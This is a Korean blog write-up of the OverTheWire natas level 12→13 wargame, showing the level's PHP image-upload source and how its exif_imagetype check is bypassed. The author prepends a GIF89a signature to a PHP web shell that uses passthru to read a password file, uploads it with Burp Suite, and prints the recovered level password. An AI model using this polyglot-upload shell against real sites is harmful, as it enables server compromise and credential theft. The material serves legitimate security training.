Over the Wire/natas

[OvertheWire:natas] level 12 → 13

ruming 2021. 5. 23. 21:26

저번문제와 비슷하게 파일을 올릴 수 있다. 이번에는 txt파일을 올려도 File is not an image라는 문구가 뜨며 업로드 되지 않는다.

 

소스코드

...

<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

exif_imagetype함수의 반환값이 존재해야 파일을 업로드할 수 있다. 

 

exif_imagetype

GIF, JPEG, PNG 등을 정수로 반환한다.

파일 시그니처라는 특정 byte로 이루어져 있는 매직넘버는 별도의 프로그램없이는 쉽게 조작할 수 없다. 파일 시그니처

 

그렇다면 업로드할 파일에 이미지 파일 헤더를 추가해주면 될 것 같다.

저번 코드에 JPEG의 시그니처를 추가해주었다.

 

버프 슈트를 이용해 php파일로 업로드 하겠다.

실패했다.

 

 

GIF파일 시그니처로 다시 도전해보겠다.

GIF89a
<?php
passthru("cat /etc/natas_webpass/natas14");
?>

 

성공! 

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

 

더보기

HxD를 이용해 파일 시그니처를 바꿔보겠다.

 txt파일 앞부분에 공백을 좀 넣고 FF D8 FF E0으로 바꿔줬다.

 

업로드는 같은 과정으로 했다. 비밀번호를 획득할 수 있었다!